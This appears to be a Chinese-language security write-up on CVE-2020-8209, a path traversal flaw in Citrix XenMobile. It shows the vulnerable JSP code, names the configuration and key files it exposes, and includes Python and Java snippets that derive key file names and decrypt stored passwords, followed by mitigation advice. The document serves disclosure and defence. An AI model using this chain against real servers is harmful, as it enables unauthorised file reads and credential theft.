IMG_256

Citrix Endpoint Management(也称为XenMobile)用于管理员工的移动设备和移动应用程序。通常,由于Active Directory集成,它部署在网络外围并可以访问内部网络。这使XenMobile成为安全研究的主要目标。

在此类研究中,发现了路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件。

CVE-2020-8209 –路径遍历

利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。剥削不需要授权。在文件help-sb-download.jsp中标识了易受攻击的代码:

1
<% String sbFilePath="/opt/sas/support/"; int length = 0; String sbFileName=(String)request.getParameter("sbFileName"); ServletOutputStream outStream = response.getOutputStream(); response.setHeader("Set-Cookie","fileDownload=true; path=/"); response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition", "attachment; filename=\"" + sbFileName + '"'); File file = new File(sbFilePath+sbFileName); byte[] byteBuffer = new byte[4096]; DataInputStream in = new DataInputStream(new FileInputStream(file)); while((in != null) && ((length =in.read(byteBuffer)) != -1)) { outStream.write(byteBuffer,0,length); } in.close(); outStream.flush(); %>

该参数sbFileName与字符串连接/opt/sas/support/,之后将字符串作为参数提供给File类构造函数。结果显示在以下屏幕截图中:

IMG_258

解密配置密码

尽管该应用程序以tomcat用户的特权运行,但仍可以读取诸如的配置文件/opt/sas/sw/config/sftu.propertiesIMG_259

密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和处理DataSecurity.jar

为了解密,需要相应的密钥。它们位于文件中/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。

IMG_260

这是文件内容的一个示例:

1
2
1.
P.TXT1=vfjgegdwecmykhbispfg P.TXT2=mbezvftvzwjopiruwewm P.TXT3=gzaoaxmebrgffquankdx P3.Salt=W3UK3PtDVgYq9Jd9QKReAw== NLK=cT4nkjXGc/iUZ2TvCVkvmsZAsNTG/6OgE08ZMWvATcL2fXFgfwAJO/nhE7jsi6Zh NLKS=SC01Cg== WKS=CAVRK9/5+r5esY+bvrZJ1g== SK=jTyjyNsyFbkrCnaI9Gq/0GVUp1fkq8nd+VHLe35T0rmmm8z7osNtgfSNPFulSSJ1 SKS=CF5ebQ== UD.GK=69ict40YlMC9E1a2Tcgu3UVb0Lkd5RyadcQ4SEwcbKlUCR8Tv4lGv6N6BkirKk7lGKS=4GLRGw==

使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理

IMG_261

并指.txt文件夹中的文件/opt/sas/rt/keys/。这些相同的步骤由库完成libsecure.so

1
2
3
4
from base64 import b64encodefrom hashlib import sha256
print(b64encode(sha256(b'vfjgegdwecmykhbispfg').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'mbezvftvzwjopiruwewm').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'gzaoaxmebrgffquankdx').digest()).decode('ascii').translate({47:None,61:None}))

IMG_262

生成的文件名WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txtlQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txtNZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt可以用于使用路径遍历漏洞从服务器下载相应的文件。

IMG_263
IMG_264
IMG_265

/opt/sas/sw/lib/libsecure.so还需要用于加密的库。

当务之急是这些文件(security.propertiesWbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txtlQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txtNZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txtlibsecure.so),以保存到本地,他们有XenMobile服务器上的同一个文件的路径。

还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar

在上述文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。

1
2
3
4
5
6
7
8
9
import com.citrix.xms.security.DataSecurity;class decrypt {
public static void main(String[] args) {
if (args.length < 1) {
System.out.println("Usage:\n decrypt [encrypted string]");
return;
}
System.out.println(DataSecurity.decryptDbPassword(args[0]));
}
}

通过正确排列所有数据,我们可以从配置文件中解密密码。

IMG_266

缓解措施

可通过以下链接获得该通报:https : //support.citrix.com/article/CTX277457。官方补丁会删除该文件/opt/sas/sw/tomcat/inst1/webapps/ROOT/jsp/help-sb-download.jsp,因此对help-sb-download.jsp的所有请求都可以视为非法请求,并且应被WAF阻止。建议检查访问日志中是否有以前的请求。

XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way